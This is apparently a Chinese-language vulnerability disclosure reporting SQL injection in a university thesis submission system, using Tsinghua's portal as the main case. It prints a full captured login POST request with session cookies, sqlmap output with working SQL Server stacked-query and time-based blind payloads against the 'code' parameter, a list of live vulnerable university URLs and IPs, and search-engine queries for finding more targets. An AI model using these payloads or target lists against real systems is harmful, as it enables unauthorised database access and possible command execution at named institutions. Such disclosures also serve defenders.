### 简要描述：
某学位论文SQL漏洞
### 详细说明：
某学位论文SQL漏洞
### 漏洞证明：
这次拿到清华大学的论文提交系统做
案例一：
http://thesis.lib.tsinghua.edu.cn:8001/paper/search.jsp
出问题的在这里的账号，我在抓post发现这个抓去注入只能测试一次，也就是说你第一次post查出来是注入，再去post就会失败，需要从新抓取post数据。 ps:抓包千万别让他跳转到下一个页面，他这个参数抓一次就变一个
post数据：
POST /papercon HTTP/1.1
Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, */*
Referer: http://thesis.lib.tsinghua.edu.cn:8001/paper/search.jsp
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: thesis.lib.tsinghua.edu.cn:8001
Content-Length: 133
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: SESSfd0269bf02d778bea282bf1ea4b41113=55g1n7ol2nu94ibks886f9qb54; JSESSIONID=A1CD0701F60805B606DEA20AD24F2AE4
action=login&r_code=%D1%A7%BA%C5%B2%BB%C4%DC%CE%AA%BF%D5&r_password=%C3%DC%C2%EB%B2%BB%C4%DC%CE%AA%BF%D5&code=222222&password=3333333
返回数据:
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: code (POST)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: action=login&r_code=%D1%A7%BA%C5%B2%BB%C4%DC%CE%AA%BF%D5&r_password
=%C3%DC%C2%EB%B2%BB%C4%DC%CE%AA%BF%D5&code=222222'; WAITFOR DELAY '0:0:5'--&pass
word=3333333
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: action=login&r_code=%D1%A7%BA%C5%B2%BB%C4%DC%CE%AA%BF%D5&r_password
=%C3%DC%C2%EB%B2%BB%C4%DC%CE%AA%BF%D5&code=222222' WAITFOR DELAY '0:0:5'--&passw
ord=3333333
---
清华的数据库真萌萌哒
[<img src="https://images.seebug.org/upload/201503/032120537371e2a61aa135382d14ca942145bc2f.jpg" alt="360截图20150303212044752.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/032120537371e2a61aa135382d14ca942145bc2f.jpg)
我的网速慢就不继续列表了。上几个案例：
案例二：
http://202.113.20.163:8001/paper/search.jsp
[<img src="https://images.seebug.org/upload/201503/03212117a5e2018381b7dc20579ccf7a8979c643.jpg" alt="360截图20150303212115971.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/03212117a5e2018381b7dc20579ccf7a8979c643.jpg)
案例三
http://202.198.25.8:8001/paper/search.jsp
[<img src="https://images.seebug.org/upload/201503/03212140f99cc2a944146e76204a144734cbcb43.jpg" alt="360截图20150303212138556.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/03212140f99cc2a944146e76204a144734cbcb43.jpg)
案例四
http://epaper.lib.bnu.edu.cn:8080/paper/search.jsp
[<img src="https://images.seebug.org/upload/201503/03212159717526b904ad655de33892a1095ae9ae.jpg" alt="360截图20150303212159028.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/03212159717526b904ad655de33892a1095ae9ae.jpg)
案例五：
http://166.111.120.124:8001/paper/search.jsp
[<img src="https://images.seebug.org/upload/201503/03212219baedaa50f6b1617c1c37da473be89339.jpg" alt="360截图20150303212218945.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/03212219baedaa50f6b1617c1c37da473be89339.jpg)
http://210.34.157.79:8021/paper/search.jsp
http://202.114.89.32:8001/paper/search.jsp
http://122.207.86.53/paper/search.jsp
http://166.111.120.124:8001/paper/search.jsp
http://dpaper.library.nenu.edu.cn:8001/paper/login.jsp
http://epaper.lib.bnu.edu.cn:8080/paper/search.jsp
http://202.113.20.163:8001/paper/search.jsp
更多案例：
inurl:/paper/ "论文提交系统"
http://fofa.so/search/result?q=title%3ATRS学位论文服务系统&qbase64=dGl0bGU6VFJT5a2m5L2N6K665paH5pyN5Yqh57O757uf
京公网安备 11010502034610号
暂无评论